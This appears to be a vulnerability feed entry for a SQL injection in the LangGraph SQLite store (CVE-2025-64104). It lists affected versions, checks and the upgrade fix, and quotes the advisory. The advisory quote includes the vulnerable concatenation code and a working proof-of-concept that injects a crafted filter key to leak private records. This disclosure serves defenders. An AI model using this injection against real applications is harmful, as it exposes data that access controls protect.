---
id: "CVE-2025-64104"
kind: "vulnerability"
aliases: ["CVE-2025-64104", "GHSA-7p73-8jqx-23r8"]
title: "LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore"
severity: "high"
cvss: 7.3
epss: 0.00241
exploited: false
status: "open"
category: "ai-tooling"
products: [{"name": "langgraph-checkpoint-sqlite", "fixed": ["2.0.11"], "affected": "<= 2.0.10", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["ai-tooling", "cwe-89", "langgraph", "langgraph-checkpoint-sqlite", "python", "sqlite"]
not_affected_if: ["allowlisted-filter-keys", "managed-hosting", "sqlite-store-not-used", "static-filter-keys"]
published_at: "2025-10-29T19:15:39+00:00"
first_seen_at: "2026-10-28T21:12:45+00:00"
updated_at: "2026-10-28T21:35:45+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-7p73-8jqx-23r8", "first_seen_at": "2026-10-28T21:12:45+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64104", "first_seen_at": "2026-10-28T21:35:45+00:00"}]
---

# LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore

The SqliteStore in langgraph-checkpoint-sqlite builds JSON path filter queries by concatenating filter keys directly into SQL. An attacker who controls those keys can inject SQL to read records they should not see, including private documents.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:langgraph-checkpoint-sqlite affected <= 2.0.10 fixed 2.0.11

## How to check

- Run `pip show langgraph-checkpoint-sqlite` and check whether the version is `2.0.10` or lower.
- Search your code for `SqliteStore` and check whether any `filter=` argument uses keys taken from request parameters, request bodies or other user input.

## Fix

- Upgrade `langgraph-checkpoint-sqlite` to `2.0.11` or later.
- Until you upgrade, allowlist or validate filter keys before passing them to `SqliteStore.search`.

## Timeline

- 2026-10-28T21:12:45+00:00 ghsa https://github.com/advisories/GHSA-7p73-8jqx-23r8
- 2026-10-28T21:35:45+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2025-64104

## From the sources

### Summary
LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

### Details
[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

```python
  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )
```

### Who is affected

This issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. 

An application is vulnerable only if it:
1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**
2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

### PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability._

```python
#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")
```

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
